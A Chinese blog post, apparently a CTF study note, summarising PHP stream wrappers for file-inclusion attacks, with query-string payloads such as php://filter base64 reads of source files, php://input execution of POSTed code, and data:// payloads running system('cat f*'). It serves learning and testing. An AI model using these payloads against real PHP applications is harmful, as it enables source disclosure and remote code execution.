zoukankan      html  css  js  c++  java
  • PHP伪协议总结

    P H P 伪 协 议 总 结


    平时做ctf题其中文件包含命令执行都有涉及php伪协议的东西,别人总结的总给是别人的,自己总结一波也算在学习一遍。其中还有一些伪协议没用碰到过,遇到了再添加

    目录

    php伪协议

    file://

    php://

    data://

    glob://

    phar://

    zip://


    总览

    file://
    php://
    data://
    glob://
    phar://
    zip://
    

    file://协议

    条件:
    	allow_url_fopen:off/on
        allow_url_include :off/on
    
    作用:
        	用于读取本地文件安且不受allow_url_foopen的影响
            只能传入绝对路径(绝对不能使用相对路径 会报错)
    用法:
            file://[文件的绝对路径和文件名]
    

    php://协议

    php://

    条件:
        allow_url_fopen=off
        allow_url_include=off
    用法:
        php://作用为访问输入输出流
    

    php://filter

    例如:
        ?id=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
    
    说明:
        resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
    
        read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
    
        write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
            。
        <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
    用法:
        php://filter/read=convert.base64-encode/resource=[文件名]
    

    php://input

    条件:
        allow_url_include=on
    
        当enctype=”multipart/form-data”时,php://input是无效的
    
    用法:
        将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
    例如:
        flag=php://input
    

    data://协议

    条件:
        Allow_url_fopen:on
        Allow_url_include:on
    
    用法:
        data://text/plain,
        data://text/plain;base64,
    
    例如:
        ?c=data://text/plain,<?php system('cat f*');?>
    
        ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==             
        PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64编码
    

    glob://协议

    用法:
    
        -查找匹配的文件路径模式
    
        C = $it = new DirectoryIterator("glob://路径*.php");
        foreach($it as $f) {
    	 echo$f->getFilename()."
    ";
    
        // printf("%s: %.1FK/n", $f->getFilename(), $f->getSize()/1024);
            }exit();
    

    phar://协议

    条件:
        allow_url_fopen:off/on
        allow_url_include:off/on
    
    作用:
        访问zip格式压缩包内容
    
    用法:
        file=phar://[压缩报的相对路径]/xxx.zip/[子文件名]
    
    例如:
        file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php
    

    zip://协议

    条件:
        allow_url_fopen:off/on
        allow_url_include:off/on
    作用:
        访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀(jpg.png....)
    使用:
        zip://[压缩文件绝对路径]%23[压缩文件中的子文件名]
    
    例如:
        file=zip://C:xxxxxxxxxphpinfo.jpg%23phpinfo.php
  • 相关阅读:
    JAVA面向对象初步知识总结:封装、继承、多态
    最短路径算法
    Retrofit源码分析(一)
    属性动画总结(纯搬运郭霖先生的文章)
    多项式相关算法模板
    二分图匹配问题
    一般图匹配
    三种上下界网络流模板
    最大流模板
    2017-2018 Petrozavodsk Winter Training Camp, Saratov SU Contest
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14169131.html
Copyright © 2011-2022 走看看